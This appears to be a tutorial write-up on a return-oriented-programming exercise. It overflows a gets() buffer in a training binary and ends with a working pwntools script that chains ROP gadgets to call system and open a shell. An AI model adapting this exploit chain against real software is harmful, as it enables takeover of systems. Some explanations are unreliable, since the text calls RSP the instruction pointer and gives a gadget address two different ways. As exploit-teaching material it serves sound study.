ROP Exploiting Challenge
I have a new challenge that is supposed to be easy: design an introductory binary for return orientated programming. We are going to use the tool: Radare2 which is a windows and linux reverse engineering program whose analysis tools give us this result.
We can see some of its functions if we disassemble it, especially given the availability of sym.imp.system. This is common in linux applications because you don’t want to code everything from scratch. You want to make use of libraries available in the operating system. In this case libc provides these functions.
This is main(). Every application has a main() and this is where the application starts. The main thing to look at is the right side. The application runs the command uptime. Then prints the sentence “What do you want me to echo back?” and then waits for input. Which under normal circumstances if you were to type Hello World, it prints back Hello World and the application is over.
This is a learning binary so the exploit is trivial using a plain C++ gets() buffer overflow. The allowed input overflows the gets() buffer:
Let’s start by determining offset. We do a pattern_create to create a cyclic pattern that can be used to determine offset:
And follow up with a pattern_search:
RSP is equivalent to EIP in 64bit programming. The RSP/EIP register is the next memory address to execute. If we were to overwrite RSP with 0x0040115f the application would just restart from the beginning. The RSP register is the most important register that we want most and we now know its offset is 120. This lets us run our own designed code. HOW?
The exploit is already forming:
garbage = “A”*120
We know also from the first picture of the disassembly that system is at 0x00401040 If we pass this address into RSP. It will look at the RDI register and try to execute it. If RDI is blank it will do nothing but crash.
Our exploit is complete if we have the ability to put an address into the RDI register which points to /bin/bash, /bin/sh, or any shell. That’s part of the problem, there isn’t a string in memory to do this. We have to figure it out.
At this point we control RSP so we need a mov rop gadget to put a string into memory.
I spent time trying to break down which of these to use and as far as I can tell none will work. ROPgadget isn’t giving me what I need so I have to look deeper.
I turn my attention to the other function in the binary: test().
This function is here for a reason. The mov rdi, rsp instructions would work fantastic but jmp r13 however could be anywhere. If we overwrite r13 with system, it’s going to jmp to system which is what we want.
The first rop gadget won’t work to control r13 but the remaining ones will so let’s go with 0x00401206 for simplicity.
This is what the exploit looks like so far:
garbage = “A”*120
p64(0x401206) #pop r13, pop r14, pop r15, ret
p64(0x401040) #sym.imp.system
p64(0x0) #r14 doesn’t matter
p64(0x0) #r15 doesn’t matter
p64(0x401556) #mov rdi, rsp, jmp r13 (which is system above)
Running this still won’t work because RSP isn’t /bin/sh. However because we have the system address, we can use libc. So going back to gdb:
That’s perfect. We now have a working exploit:
from pwn import *
context(os='linux',arch='amd64')
c = process("./myapp")
raw_input()
garbage = "A"*120
payload = garbage
payload += p64(0x401206) # pop r13 ; pop r14 ; pop r15 ; ret
payload += p64(0x401040) # system into r13
payload += p64(0x0) # r14 doesnt matter
payload += p64(0x0) # r15 doesnt matter
payload += p64(0x401156) #mov rdi, rsp, jmp r13 from test()
payload += p64(0x0068732f6e69622f) #libc /bin/sh
c.sendline(payload)
c.interactive()